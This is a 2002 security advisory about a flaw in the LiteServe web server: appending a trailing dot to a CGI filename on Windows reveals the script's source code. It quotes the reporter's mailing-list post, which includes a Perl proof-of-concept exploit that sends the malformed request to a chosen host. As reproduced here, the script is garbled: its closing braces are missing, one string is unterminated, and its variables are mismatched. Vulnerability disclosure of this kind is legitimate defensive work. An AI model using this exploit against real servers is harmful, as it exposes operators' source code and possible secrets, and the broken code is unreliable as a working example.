LiteServe Web Server Input Validation Flaw in Processing CGI Filenames May Disclose CGI Source Code to Remote Users
|
|
SecurityTracker Alert ID: 1005636 |
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Nov 15 2002
|
Impact: Disclosure of user information
|
Fix Available: Yes
Vendor Confirmed: Yes
|
Version(s): 2.02 and prior versions
|
Description: An input validation vulnerability was reported in the LiteServe web server. A remote user may view the code of certain CGI scripts.
It is reported that a remote user can submit a request for a CGI script with a dot "." character (0x2E) appended to the end of the
CGI script file name to view the contents of the CGI script. This is reportedly due to the way in which Microsoft Windows-based
operating systems may ignore a trailing dot character on a file name.
A demonstration exploit script is available in the Source
Message.
|
Impact: A remote user can view CGI source code on the server.
|
Solution: No solution was available at the time of this entry. The vendor reportedly plans to issue a fixed version (2.03), to be available at:
http://www.cmfperception.com/liteserve.html
|
Vendor URL: www.cmfperception.com/liteserve.html (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Windows (Any)
|
Reported By: "mattmurphy@kc.rr.com" <mattmurphy@kc.rr.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Thu, 14 Nov 2002 16:40:58 -0500
From: "mattmurphy@kc.rr.com" <mattmurphy@kc.rr.com>
Subject: [Full-Disclosure] Perception LiteServe HTTP CGI Disclosure Vulnerability
|
Christopher Fillion's "Perception" web site hosts the LiteServe combination
server for Win32. The server offers HTTP, FTP, SMTP, POP3, and Telnet
services. Included in the HTTP service is a Common Gateway Interface (CGI)
feature that allows you to specify a CGI alias, as well as "filters" that
are run when a file of a particular type is accessed.
A vulnerability in the server related to the handling of filenames on Win32
platforms may reveal the code of a desired CGI script to an attacker.
Windows handles file names with the "." character (0x2E) on the end as if
the said character had been removed. LiteServe fails to compensate for
this behavior, and is vulnerable to a simple CGI disclosure attack.
The upcoming release of LiteServe 2.03 should eliminate this vulnerability.
Exploit
#!/usr/bin/perl
# LS_FETCH.PL
# By Matthew Murphy
# LiteServe 2.02 and prior - CGI Disclosure
# Usage: perl ls_fetch.pl [filename] [host] [alias] [port]
use IO::Socket;
use URI::Escape;
$alias = "cgi-isapi"; # Default LiteServe CGI alias
$port = 80;
if (@ARGV < 2 || @ARGV > 4) {
print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80]
} else {
if (@ARGV >= 3) {
$alias = $ARGV[2];
if (@ARGV == 4) {
$port = $ARGV[3];
$filename = $ARGV[1];
$host = $ARGV[2];
$f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp");
$f->autoflush(1);
$b = sprintf("GET /%s/%s. HTTP/1.0\r\n\r\n", $alias, uri_escape($file));
print $f $b;
while (defined($line=<$f>)) {
print STDOUT $line;
undef $f;
--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
|
|
